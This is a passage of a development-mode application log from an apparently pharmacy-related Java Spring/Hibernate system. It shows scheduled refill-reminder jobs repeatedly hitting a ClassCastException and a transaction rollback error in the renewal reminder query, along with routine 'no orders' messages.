com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 11:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 11:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 11:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 11:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 11:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 11:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 11:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 11:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 11:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 11:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 11:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 11:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 11:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 11:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 11:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 11:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 11:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 11:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 11:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 11:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 11:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 11:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 11:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 11:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 11:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 11:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 11:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 11:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 11:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 11:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 11:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 11:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 11:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 11:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 11:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 11:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 11:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 11:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 11:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 11:40:00 ERROR 